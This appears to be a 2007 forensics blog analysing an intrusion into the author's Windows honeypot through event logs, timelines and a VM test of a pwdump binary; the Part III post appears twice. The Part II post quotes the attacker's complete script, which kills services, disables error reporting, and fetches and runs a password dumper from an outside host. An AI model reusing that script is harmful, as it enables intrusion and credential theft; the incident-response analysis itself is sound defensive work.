Once upon a time a forensics investigator would arrive on a scene and seize a computer. The scene would be photographed, evidence would be collected, bagged & tagged and so on. A few floppies would be collected, maybe a CD but not much more.
Fast forward about 10 years....
A forensics investigator arrives on scene to discover a wireless linksys router with a 4 port switch on the back. 3 wires connect to a triplex data drop in the wall. One room with a computer became a house with a computer in each room. A 3.5" floppy is now obselete, and data is every where. Did you remember the cell phone? The PDA? The camera, and the media cards? The DVR or media center computer? It just keeps going...
Even a few years ago as Incident Responders we knew what to look for. Botnets were rampant. They were easily detected and a vast majority of them followed the same standard. These attacks adapted and became more complex. Fast Flux networks are in full swing.
Digital Forensics is quickly becoming as complex as real world criminalistics. In the sea of agile data, we must be as agile. Our methods need to be fluid and adaptable. Simply pulling the plug is no longer the best practice. Digital Forensics doesn't begin and end on the disk. It begins at point A and ends at Point Z. There are many data points in between. We need to know what these points are, and how to collect relevant data from them. We must also understand the forces at work and how they influence the data to be collected.
After a scene has been contained..note I said contained. Let me digress....Containment is: the action of keeping something harmful under control or within limits. While pulling the plug is a method of keeping something harmful under control, we must understand that it is the most extreme method in use today. Pulling the plug is what I consider to be a knee-jerk reaction used due to lack of understanding of data, the forces at play, and the influences those forces have.
Getting back on track..after a scene has been contained, the evidence preserved and collected the reconstruction begins. This is where things can get difficult, because we as an industry don't have a scientific background for our field. Consider if you will that the source code of Windows is closed. This leads us to seeking empirical truth, or that which we can observe. This is actually converse to what we are seeking to accomplish. Simply because we can observe something, doesn't mean it's the only explanation. We can only ever hope to be obtain a level of certainty in our conclusions.
In search of science we begin with induction: "The timestamp was modified". After finding a binary capable of modifying timestamps we move quickly to say "This binary is responsible for modifying timestamps on the system". Is this correct? Maybe. It requires additional work to be a more complete conclusion.
Next we have deductive reasoning: "The timestamp was modified by this binary". After experimenting we deduce that "The timestamps could have been modified by this binary". This is better. We are not absolute in our conclusion.
Neither of these is wrong, and neither is right, however both are incomplete. Why? We're only looking at one source, and we can't make a dogmatic statement based on a sole source of evidence. As digital criminalists, we must be able to say that given all data points, and after careful evaluation the most likely explanation for the modification of the timestamps is this binary. There are many potential methods of timestamp modification, but given the data I am reasonably certain that any other explanation would be less believable and unlikely.
We must understand that our conclusion is not simply the correct one. It is the correct one, because other possible explanations have been ruled out as being plausible given the dataset. To truly achieve this we must have corroboration. Multiple sources of data must be in support of one another to have an accurate conclusion.
As the complexity increases, we must become more certain of our conclusions. We must truly understand what is the cause, and what is the effect. If we understand causality we can move towards science.
Showing posts with label corroboration. Show all posts
Showing posts with label corroboration. Show all posts
Monday, November 26, 2007
Friday, May 4, 2007
Analyzing an Intrusion Part III - Corporal and anamnestic
It's been a few days but I've had some time to delve in to the image of the compromised honeypot. I've come across a few surprises and struggled with an evaluation of some software, but it's coming along so here we go...
Corporal and Anamnestic evidence related to the incident that was found on the honeypot:
Time Zone Information:
Time is incredibly important so we need to establish if the TZ settings were correct.
The active time zone information was -4 hours from GMT which is correct.
System Log:
Event Type: Error Date: 04/22/2007 Time: 06:10:10 PM Source: Service Control Manager
Event ID: 7034 EventDescription:The DNS Server service terminated unexpectedly. It has done this 1 time.
AHA! so as suspected, this event was captured by the event log. Note how innocuous this message is. It doesn't say "the DNS service was killed". Also note the time the service was killed because this becomes important as we try to understand the script the attacker executed. Pay attention to the timing as you go through the rest of this.
Security Logs:
To cull the security logs, I tried a number of methods. As this is a honeynet, I use it to test new and different methods and software on a regular basis.
Harlan Carvey details a few methods in his new book Windows Forensic Analysis and I decided to give them a whirl. As an aside, I'd like to plug this book. It's a fantastic resource rich with accurate information, and if you do any sort of windows forensics, it's a must have
First off, the Security logs were corrupted, so that added a modicum of difficulty to the process.
Harlan's most wonderful lsevt2 perl script was able to parse file even though it was corrupted. However, even using csv output, I was unable to import it in to a database or excel because some of some apparent font or type issues, or perhaps they are parsing issues but I've yet to determine that.
The second method was to repair the event logs as detailed here. This site also happens to be mentioned in Harlan's book. This worked and I was able to view the logs as normal in the event viewer.
The third method I tried was using Prodiscover IR. I am impressed that they included an event log viewer in the program, however it crashed reliably when processing the security event logs. Maybe it was too large for the program to handle, but it would just exit, with no warning.
After I repaired the security logs, I used logparser(which I'm still getting the hang of) to narrow down what I wanted to look at.
logparser "select * from SecEvent.EVT where eventid in (592;593) and to_string(timegenerated, 'yyyy-MM-dd HH:mm:ss') like '2007-04%'"
-i:EVT -o:csv and heavily edited the output to make it fit here.
The following shows the execution timeline of the attackers script. You can see the definitive path of the script as it executed. First, a quick explanation. Event ID 592, and 593 are created because process tracking audting is enabled. 592 is for process creation, and 593 is when a process exits. In order for the strings column to make sense you need to know that the far right PID is what spawned the process(parent process), and the PID on the left is the PID of the listed process.
So, we can see cmd.exe was spawned by PID 1732, and was assigned a PID of 4028 in the first line. If you go through the list diagonally like you're tying shoes, you'll see the pattern rather quickly. I've color coded the like PIDS to try to help.
TimeGenerated,EventID,EventType,Strings
4/22/2007 18:09:53,592,8,"4028,C:\WINDOWS\system32\cmd.exe,1732,"
4/22/2007 18:09:56,592,8,"2124,C:\WINDOWS\system32\net.exe,4028,"
4/22/2007 18:09:56,592,8,"2728,C:\WINDOWS\system32\net1.exe,2124"
4/22/2007 18:09:56,593,8,"2728,C:\WINDOWS\system32\net1.exe,"
4/22/2007 18:09:56,593,8,"2124,C:\WINDOWS\system32\net.exe,"
4/22/2007 18:10:03,592,8,"3836,C:\WINDOWS\system32\cscript.exe,4028,"
4/22/2007 18:10:09,593,8,"3836,C:\WINDOWS\system32\cscript.exe,"
4/22/2007 18:10:09,592,8,"832,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"832,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"3244,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"3244,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"4036,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"4036,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"2668,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"2668,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"328,C:\WINDOWS\system32\reg.exe,4028"
4/22/2007 18:10:09,593,8,"328,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"1140,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"1140,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"3996,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"3996,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"1012,C:\WINDOWS\system32\pwdump.exe,4028,"
4/22/2007 18:10:09,593,8,"1012,C:\WINDOWS\system32\pwdump.exe,"
4/22/2007 18:10:10,593,8,"1732,C:\WINDOWS\system32\dns.exe,"
4/22/2007 18:10:25,593,8,"4028,C:\WINDOWS\system32\cmd.exe,"
So, just what is happening? We see that PID 1732 started it all. If you jump down to the second to last line, you'll see what PID 1732 was - that's right dns.exe, which is where system level access was granted and the reverse shell was executed from. Every other process listed was called from PID 4028 which is cmd.exe. The reg.exe calls were successful in changing the ErrorReporting values I listed in Part II, so ErrorReporting was effectively disabled.
However, we know that something was missed. Taskkill.exe was listed in the script in many places, and that's what looked like the cause of dns exiting is, however as evidenced by the process tracking log, we can see that taskkill was never called. Is this because it was never called, or did windows miss the boat and not log it? The answer is evident, but I'll make this somewhat interactive. What killed dns.exe? *answer at the end of this entry*
Application Log:
Nothing of value found here.
I also grabbed the IE history using Prodiscover and found the following.
Internet Activity Information file: E:\132.236.62.102-04222007\PhysicalDrive0.eve\C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\index.dat
File Deleted: No
Browser Type: Internet Explorer
URL: http://www.dit.net/images/pwdump.exe
File Name: pwdump[1].exe
Last Modified: 04/22/2007 14:06:33
Last Accessed: 04/22/2007 18:10:09
Local Directory:
Type: URL
HTTP Header: HTTP/1.1 200 OK
X-Powered-By: ASP.NET
Content-Type: application/octet-stream
ETag: "809a98f5885c71:ade"
Content-Length: 90624
~U:system
As we can see by the bolded text, the user SYSTEM downloaded pwdump, as Harlan pointed out.
MAC times:
File Name,File Type,Cr Date,Acc Date,Mod Date
rasadhlp.dll,Executable File,1/4/2006 16:30,4/22/2007 18:09,3/24/2005 19:12
vgaoem.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
cmd.exe,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/24/2005 18:57
dosapp.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
ega40woa.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
cga80woa.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
cga40woa.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
dbg0.log,Unknown File Type,4/22/2007 18:09,4/22/2007 18:09,4/22/2007 18:09
net1.exe,Executable File,1/4/2006 16:31,4/22/2007 18:09,3/24/2005 19:07
net.exe,Executable File,1/4/2006 16:31,4/22/2007 18:09,3/24/2005 19:07
R00000000000a.clb,Unknown File Type,1/4/2006 15:00,4/22/2007 18:10,1/4/2006 15:00
imm32.dll,Executable File,1/4/2006 16:32,4/22/2007 18:10,3/24/2005 19:05
wshext.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:26
sensapi.dll,Executable File,3/25/2003 8:00,4/22/2007 18:10,3/25/2003 8:00
msisip.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
vbscript.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:26
rtutils.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
msdart.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
scrobj.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
iphlpapi.dll,Executable File,1/4/2006 16:32,4/22/2007 18:10,3/24/2005 19:05
winmm.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:26
msado15.dll,Executable File,1/4/2006 16:33,4/22/2007 18:10,3/24/2005 19:07
tapi32.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:25
msxml3r.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
mscorie.dll,Executable File,1/2/2006 13:15,4/22/2007 18:10,3/24/2003 22:31
9PMKWROZ,Folder,1/2/2006 13:20,4/22/2007 18:10,4/22/2007 18:10
$I30,Unknown File Type,1/2/2006 13:15,4/22/2007 18:10,1/4/2006 16:41
msvcr71.dll,Executable File,1/2/2006 13:15,4/22/2007 18:10,2/24/2003 16:42
v1.1.4322,Folder,1/2/2006 13:15,4/22/2007 18:10,1/4/2006 16:41
mscoree.dll,Executable File,3/24/2005 21:41,4/22/2007 18:10,3/24/2005 21:41
reg.exe,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
cscript.exe,Executable File,1/4/2006 16:32,4/22/2007 18:10,3/24/2005 18:58
msxml3.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
shimeng.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
pwdump[1].exe,Executable File,4/22/2007 18:10,4/22/2007 18:10,4/22/2007 18:10
wbemcons.dll,Executable File,1/4/2006 16:33,4/22/2007 18:10,3/24/2005 19:26
default.LOG,Unknown File Type,1/2/2006 8:06,4/22/2007 18:10,4/22/2007 18:10
system.LOG,Unknown File Type,1/2/2006 8:06,4/22/2007 18:10,4/22/2007 18:10
httperr1.log,Unknown File Type,6/28/2006 0:20,4/22/2007 18:10,4/22/2007 18:10
Anything listed here was touched during the attack. You'll see folders, dll's, exe's, fonts and a few odd files. While these files don't tell us who accessed them, it gives us a blueprint for testing. If we created a virtual machine and ran the attackers scripts, most if not all of these should show up as being accessed.
Of some note is this file: R00000000000a.clb It lives in C:\Windows\Registration and it appears to be related to COM+ applications or having debug rights on a system, which isn't typical for most users. If anyone has more information about this, please share it.
Other locations of artifacts:
$LogFile - If one were so inclined you could reconstruct a lot of the event by using this file alone.
File slack and unallocated space
httperr1.log contained related information as the attacker first scanned my honeypot looking for open ports.
Where there were no artifacts:
Prefetch
MRU
MUICache
UserAssist
I hope this series of entries has shown why we need to use multiple sources of evidence to corroborate and build a strong case and how to do it as well. Digital evidence is largely circumstantial, and we can rarely prove "who" did something, but when evidence from multiple sources is collected and compared, we can reconstruct the events that took place.
*memory analysis coming soon - I hope*
*dns.exe answer*
To answer this question we need to look at the binary pwdump.exe. The strings listed previously indicate some of the capabilities of this particular pwdump binary and provides us enough clues so we can create a hypothesis and test it. I hypothesized that the script didn't actually kill dns, and the script doesn't directly patch the dns hole.
To test this I created an exemplar system running Windows Server 2003 SP1 and DNS to test my hypothesis. The test system was created using VMware Server 1.02 build 39867 running on an Ubuntu Server system.
The test:
copy pwdump[1].exe to the test system, and execute it using: pwdump[1].exe %RANDOM%.
Result:
Upon Execution, we can see the following at the command prompt:
The system was then restored to a snapshot and pwdump was run again, this time by Inctrl5.
InCtrl5 excerpt:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters "RpcProtocol"
Old type: REG_DWORD
New type: REG_DWORD
Old data: 01, 00, 00, 00
New data: 04, 00, 00, 00
System Event log:
Event Type: Error Date: 05/04/2007 Time: 12:38:13 PM Source: Service Control Manager
Event ID: 7034 EventDescription:The DNS Server service terminated unexpectedly. It has done this 1 time.
Conclusion:
pwdump kills dns.exe and "patches" the registry by using the Microsoft workaround.
This pwdump binary also unpacks the samdump.dll that is contained within it.
If anyone is interested in this file for review, let me know.
Corporal and Anamnestic evidence related to the incident that was found on the honeypot:
Time Zone Information:
Time is incredibly important so we need to establish if the TZ settings were correct.
The active time zone information was -4 hours from GMT which is correct.
System Log:
Event Type: Error Date: 04/22/2007 Time: 06:10:10 PM Source: Service Control Manager
Event ID: 7034 EventDescription:The DNS Server service terminated unexpectedly. It has done this 1 time.
AHA! so as suspected, this event was captured by the event log. Note how innocuous this message is. It doesn't say "the DNS service was killed". Also note the time the service was killed because this becomes important as we try to understand the script the attacker executed. Pay attention to the timing as you go through the rest of this.
Security Logs:
To cull the security logs, I tried a number of methods. As this is a honeynet, I use it to test new and different methods and software on a regular basis.
Harlan Carvey details a few methods in his new book Windows Forensic Analysis and I decided to give them a whirl. As an aside, I'd like to plug this book. It's a fantastic resource rich with accurate information, and if you do any sort of windows forensics, it's a must have
First off, the Security logs were corrupted, so that added a modicum of difficulty to the process.
Harlan's most wonderful lsevt2 perl script was able to parse file even though it was corrupted. However, even using csv output, I was unable to import it in to a database or excel because some of some apparent font or type issues, or perhaps they are parsing issues but I've yet to determine that.
The second method was to repair the event logs as detailed here. This site also happens to be mentioned in Harlan's book. This worked and I was able to view the logs as normal in the event viewer.
The third method I tried was using Prodiscover IR. I am impressed that they included an event log viewer in the program, however it crashed reliably when processing the security event logs. Maybe it was too large for the program to handle, but it would just exit, with no warning.
After I repaired the security logs, I used logparser(which I'm still getting the hang of) to narrow down what I wanted to look at.
logparser "select * from SecEvent.EVT where eventid in (592;593) and to_string(timegenerated, 'yyyy-MM-dd HH:mm:ss') like '2007-04%'"
-i:EVT -o:csv and heavily edited the output to make it fit here.
The following shows the execution timeline of the attackers script. You can see the definitive path of the script as it executed. First, a quick explanation. Event ID 592, and 593 are created because process tracking audting is enabled. 592 is for process creation, and 593 is when a process exits. In order for the strings column to make sense you need to know that the far right PID is what spawned the process(parent process), and the PID on the left is the PID of the listed process.
So, we can see cmd.exe was spawned by PID 1732, and was assigned a PID of 4028 in the first line. If you go through the list diagonally like you're tying shoes, you'll see the pattern rather quickly. I've color coded the like PIDS to try to help.
TimeGenerated,EventID,EventType,Strings
4/22/2007 18:09:53,592,8,"4028,C:\WINDOWS\system32\cmd.exe,1732,"
4/22/2007 18:09:56,592,8,"2124,C:\WINDOWS\system32\net.exe,4028,"
4/22/2007 18:09:56,592,8,"2728,C:\WINDOWS\system32\net1.exe,2124"
4/22/2007 18:09:56,593,8,"2728,C:\WINDOWS\system32\net1.exe,"
4/22/2007 18:09:56,593,8,"2124,C:\WINDOWS\system32\net.exe,"
4/22/2007 18:10:03,592,8,"3836,C:\WINDOWS\system32\cscript.exe,4028,"
4/22/2007 18:10:09,593,8,"3836,C:\WINDOWS\system32\cscript.exe,"
4/22/2007 18:10:09,592,8,"832,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"832,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"3244,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"3244,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"4036,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"4036,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"2668,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"2668,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"328,C:\WINDOWS\system32\reg.exe,4028"
4/22/2007 18:10:09,593,8,"328,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"1140,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"1140,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"3996,C:\WINDOWS\system32\reg.exe,4028,"
4/22/2007 18:10:09,593,8,"3996,C:\WINDOWS\system32\reg.exe,"
4/22/2007 18:10:09,592,8,"1012,C:\WINDOWS\system32\pwdump.exe,4028,"
4/22/2007 18:10:09,593,8,"1012,C:\WINDOWS\system32\pwdump.exe,"
4/22/2007 18:10:10,593,8,"1732,C:\WINDOWS\system32\dns.exe,"
4/22/2007 18:10:25,593,8,"4028,C:\WINDOWS\system32\cmd.exe,"
So, just what is happening? We see that PID 1732 started it all. If you jump down to the second to last line, you'll see what PID 1732 was - that's right dns.exe, which is where system level access was granted and the reverse shell was executed from. Every other process listed was called from PID 4028 which is cmd.exe. The reg.exe calls were successful in changing the ErrorReporting values I listed in Part II, so ErrorReporting was effectively disabled.
However, we know that something was missed. Taskkill.exe was listed in the script in many places, and that's what looked like the cause of dns exiting is, however as evidenced by the process tracking log, we can see that taskkill was never called. Is this because it was never called, or did windows miss the boat and not log it? The answer is evident, but I'll make this somewhat interactive. What killed dns.exe? *answer at the end of this entry*
Application Log:
Nothing of value found here.
I also grabbed the IE history using Prodiscover and found the following.
Internet Activity Information file: E:\132.236.62.102-04222007\PhysicalDrive0.eve\C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\index.dat
File Deleted: No
Browser Type: Internet Explorer
URL: http://www.dit.net/images/pwdump.exe
File Name: pwdump[1].exe
Last Modified: 04/22/2007 14:06:33
Last Accessed: 04/22/2007 18:10:09
Local Directory:
Type: URL
HTTP Header: HTTP/1.1 200 OK
X-Powered-By: ASP.NET
Content-Type: application/octet-stream
ETag: "809a98f5885c71:ade"
Content-Length: 90624
~U:system
As we can see by the bolded text, the user SYSTEM downloaded pwdump, as Harlan pointed out.
MAC times:
File Name,File Type,Cr Date,Acc Date,Mod Date
rasadhlp.dll,Executable File,1/4/2006 16:30,4/22/2007 18:09,3/24/2005 19:12
vgaoem.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
cmd.exe,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/24/2005 18:57
dosapp.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
ega40woa.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
cga80woa.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
cga40woa.fon,Executable File,3/25/2003 8:00,4/22/2007 18:09,3/25/2003 8:00
dbg0.log,Unknown File Type,4/22/2007 18:09,4/22/2007 18:09,4/22/2007 18:09
net1.exe,Executable File,1/4/2006 16:31,4/22/2007 18:09,3/24/2005 19:07
net.exe,Executable File,1/4/2006 16:31,4/22/2007 18:09,3/24/2005 19:07
R00000000000a.clb,Unknown File Type,1/4/2006 15:00,4/22/2007 18:10,1/4/2006 15:00
imm32.dll,Executable File,1/4/2006 16:32,4/22/2007 18:10,3/24/2005 19:05
wshext.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:26
sensapi.dll,Executable File,3/25/2003 8:00,4/22/2007 18:10,3/25/2003 8:00
msisip.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
vbscript.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:26
rtutils.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
msdart.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
scrobj.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
iphlpapi.dll,Executable File,1/4/2006 16:32,4/22/2007 18:10,3/24/2005 19:05
winmm.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:26
msado15.dll,Executable File,1/4/2006 16:33,4/22/2007 18:10,3/24/2005 19:07
tapi32.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:25
msxml3r.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
mscorie.dll,Executable File,1/2/2006 13:15,4/22/2007 18:10,3/24/2003 22:31
9PMKWROZ,Folder,1/2/2006 13:20,4/22/2007 18:10,4/22/2007 18:10
$I30,Unknown File Type,1/2/2006 13:15,4/22/2007 18:10,1/4/2006 16:41
msvcr71.dll,Executable File,1/2/2006 13:15,4/22/2007 18:10,2/24/2003 16:42
v1.1.4322,Folder,1/2/2006 13:15,4/22/2007 18:10,1/4/2006 16:41
mscoree.dll,Executable File,3/24/2005 21:41,4/22/2007 18:10,3/24/2005 21:41
reg.exe,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
cscript.exe,Executable File,1/4/2006 16:32,4/22/2007 18:10,3/24/2005 18:58
msxml3.dll,Executable File,1/4/2006 16:31,4/22/2007 18:10,3/24/2005 19:07
shimeng.dll,Executable File,1/4/2006 16:30,4/22/2007 18:10,3/24/2005 19:13
pwdump[1].exe,Executable File,4/22/2007 18:10,4/22/2007 18:10,4/22/2007 18:10
wbemcons.dll,Executable File,1/4/2006 16:33,4/22/2007 18:10,3/24/2005 19:26
default.LOG,Unknown File Type,1/2/2006 8:06,4/22/2007 18:10,4/22/2007 18:10
system.LOG,Unknown File Type,1/2/2006 8:06,4/22/2007 18:10,4/22/2007 18:10
httperr1.log,Unknown File Type,6/28/2006 0:20,4/22/2007 18:10,4/22/2007 18:10
Anything listed here was touched during the attack. You'll see folders, dll's, exe's, fonts and a few odd files. While these files don't tell us who accessed them, it gives us a blueprint for testing. If we created a virtual machine and ran the attackers scripts, most if not all of these should show up as being accessed.
Of some note is this file: R00000000000a.clb It lives in C:\Windows\Registration and it appears to be related to COM+ applications or having debug rights on a system, which isn't typical for most users. If anyone has more information about this, please share it.
Other locations of artifacts:
$LogFile - If one were so inclined you could reconstruct a lot of the event by using this file alone.
File slack and unallocated space
httperr1.log contained related information as the attacker first scanned my honeypot looking for open ports.
Where there were no artifacts:
Prefetch
MRU
MUICache
UserAssist
I hope this series of entries has shown why we need to use multiple sources of evidence to corroborate and build a strong case and how to do it as well. Digital evidence is largely circumstantial, and we can rarely prove "who" did something, but when evidence from multiple sources is collected and compared, we can reconstruct the events that took place.
*memory analysis coming soon - I hope*
*dns.exe answer*
To answer this question we need to look at the binary pwdump.exe. The strings listed previously indicate some of the capabilities of this particular pwdump binary and provides us enough clues so we can create a hypothesis and test it. I hypothesized that the script didn't actually kill dns, and the script doesn't directly patch the dns hole.
To test this I created an exemplar system running Windows Server 2003 SP1 and DNS to test my hypothesis. The test system was created using VMware Server 1.02 build 39867 running on an Ubuntu Server system.
The test:
copy pwdump[1].exe to the test system, and execute it using: pwdump[1].exe %RANDOM%.
Result:
Upon Execution, we can see the following at the command prompt:
The system was then restored to a snapshot and pwdump was run again, this time by Inctrl5.
InCtrl5 excerpt:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters "RpcProtocol"
Old type: REG_DWORD
New type: REG_DWORD
Old data: 01, 00, 00, 00
New data: 04, 00, 00, 00
System Event log:
Event Type: Error Date: 05/04/2007 Time: 12:38:13 PM Source: Service Control Manager
Event ID: 7034 EventDescription:The DNS Server service terminated unexpectedly. It has done this 1 time.
Conclusion:
pwdump kills dns.exe and "patches" the registry by using the Microsoft workaround.
This pwdump binary also unpacks the samdump.dll that is contained within it.
If anyone is interested in this file for review, let me know.
Friday, April 27, 2007
Analyzing an intrusion Part II - Corporal and Environmental
*Please read part I before you read this, otherwise it lacks context*
In the last entry I started by establishing Time-0 using Environmental evidence. Now I'd like to detail some information relating to Environmental evidence and Corporal evidence using Environmental evidence to inform the decision making of the Corporal investigation.
As part of the exploit that overtook my honeypot - A windows server 2003 domain controller running service pack 1, the attacker opened a reverse shell to a different host than the one that exploited my system.
Still using environmental evidence we see the following:
22:09:45.996675 IP 10.10.62.102.2434 > 70.84.11.196.1919: S 1688673751:1688673
751(0) win 65535
At 22:10:17 we see the final RST/ACK between these two systems. So, what happened during that time?
A lot actually and here's the content of the conversation.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
There's a lot going on there. Let's break it down from the top.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
Ok, pretty simple right? If a file named dbg.0 or x.tmp exists, kill the dns service using taskkill. We know this because the /im flag is to kill a service and /f is force. All output is redirected to the bitbucket. The attacker then tries to stop the mcshield service - which is a Mcafee service. Unfortunately for our friend, there was no mcshield service running as my system replied:
System error 1060 has occurred.
The specified service does not exist as an installed service.
On to the next chunk.
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
